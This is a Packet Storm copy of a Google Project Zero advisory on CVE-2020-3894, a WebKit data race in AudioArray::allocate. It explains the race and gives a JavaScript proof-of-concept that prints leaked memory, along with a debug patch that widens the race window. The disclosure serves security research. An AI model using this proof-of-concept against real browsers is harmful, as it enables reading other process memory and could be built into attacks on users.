what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WebKit AudioArray::allocate Data Race / Out-Of-Bounds Access

WebKit AudioArray::allocate Data Race / Out-Of-Bounds Access
Posted Apr 23, 2020
Authored by Google Security Research, Glazvunov

WebKit has a data race condition in AudioArray::allocate that can lead to out-of-bounds access.

tags | exploit
advisories | CVE-2020-3894
SHA-256 | 36dd2c73b178e99d96c08d9a812df124956a7cdf27caa906595ed62ecb80f1e9

WebKit AudioArray::allocate Data Race / Out-Of-Bounds Access

Change Mirror Download
WebKit: Data race in AudioArray::allocate can lead to OOB access

VULNERABILITY DETAILS
Source/WebCore/platform/audio/AudioArray.h:
```
void allocate(Checked<size_t> n)
{
[...]
while (!isAllocationGood) {
// Initially we try to allocate the exact size, but if it's not aligned
// then we'll have to reallocate and from then on allocate extra.
static size_t extraAllocationBytes = 0; // *** 1 ***

T* allocation = static_cast<T*>(fastMalloc((initialSize + extraAllocationBytes).unsafeGet())); // *** 2 ***
if (!allocation)
CRASH();
T* alignedData = alignedAddress(allocation, alignment);

if (alignedData == allocation || extraAllocationBytes == alignment) { // *** 3 ***
m_allocation = allocation;
m_alignedData = alignedData;
m_size = n.unsafeGet();
isAllocationGood = true;
zero();
} else {
extraAllocationBytes = alignment; // always allocate extra after the first alignment failure. // *** 4 ***
fastFree(allocation);
}
}
}
```

`AudioArray::Allocate` uses the static local variable called `extraAllocationBytes`[1] to store the
size of padding to keep allocations aligned. It's initially set to zero and gets modified when the
first unaligned allocation occurs. Since the method is called from multiple threads (for example,
the main thread and the audio decoding thread), a data race can happen between two threads making an
unaligned allocation. Consider the following scenario:

1. `extraAllocationBytes` is set to zero.
2. The first thread uses it to calculate the total size and creates an allocation[2].
3. The second thread does the same and fails the check in [3] because the aligned and unaligned
pointers don't match.
4. The second thread sets `extraAllocationBytes` to `alignment`[4].
5. The first thread now passes the second condition in [3].

At this point the buffer referenced by `alignedData` is offset from and less in size than the actual
allocation, so subsequent buffer accesses may read or write out-of-bounds data.

Since an attacker has only one attempt to win the race after the process starts, a successful attack
requires a technique that can be used to create multiple web content processes or restart the
existing one. For example, if the attacker is able to bypass the pop-up blocker, they can create
multiple tabs hosted by separate processes by passing the \"noopener\" attribute to `window.open`.


VERSION
WebKit Revision: 254740
The vulnerable code was introduced in 2011 (https://trac.webkit.org/changeset/92408), so the stable
branch should be affected as well.


REPRODUCTION CASE
It's impossible to reproduce the issue with ASan enabled as it forces the underlying allocator to
always return 16-byte aligned pointers; hence, `extraAllocationBytes` never gets modified. Instead,
you should run the test case in a regular release build where it prints some leaked data.

```
<script>
context = new webkitOfflineAudioContext(1, 1, 44100);
header = [0x52, 0x49, 0x46, 0x46, 0x68, 0xac, 0x00, 0x00, 0x57, 0x41, 0x56, 0x45, 0x66, 0x6d,
0x74, 0x20, 0x10, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x44, 0xac, 0x00, 0x00, 0x44,
0xac, 0x00, 0x00, 0x01, 0x00, 0x08, 0x00, 0x64, 0x61, 0x74, 0x61, 0x44, 0xac, 0x00, 0x00];

wav_big = new Uint8Array(header.length + 14);
wav_big.set(header);

wav_small = new Uint8Array(header.length + 10);
wav_small.set(header);

noop = () => {};

context.decodeAudioData(wav_big.buffer, noop, noop);
buffer = context.createBuffer(wav_small.buffer, false);

document.write(Array.prototype.map.call(
new Uint8Array(buffer.getChannelData(0).buffer, 32),
v => v.toString(16).padStart(2, 0)).join(' '));
</script>
```

The following patch, which makes the race window long enough, is essential for reproducing the bug
reliably:
```
Index: platform/audio/AudioArray.h
===================================================================
--- platform/audio/AudioArray.h (revision 254740)
+++ platform/audio/AudioArray.h (working copy)
@@ -30,6 +30,7 @@
#define AudioArray_h

#include <string.h>
+#include <unistd.h>
#include <wtf/CheckedArithmetic.h>
#include <wtf/FastMalloc.h>

@@ -72,6 +73,10 @@
CRASH();
T* alignedData = alignedAddress(allocation, alignment);

+ if (initialSize.unsafeGet() == 40) {
+ usleep(1000000);
+ }
+
if (alignedData == allocation || extraAllocationBytes == alignment) {
m_allocation = allocation;
m_alignedData = alignedData;
```


CREDIT INFORMATION
Sergei Glazunov of Google Project Zero


This bug is subject to a 90 day disclosure deadline. After 90 days elapse, the bug report will
become visible to the public. The scheduled disclosure date is 2020-04-19.


Related CVE Numbers: CVE-2020-3894.



Found by: glazunov@google.com

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close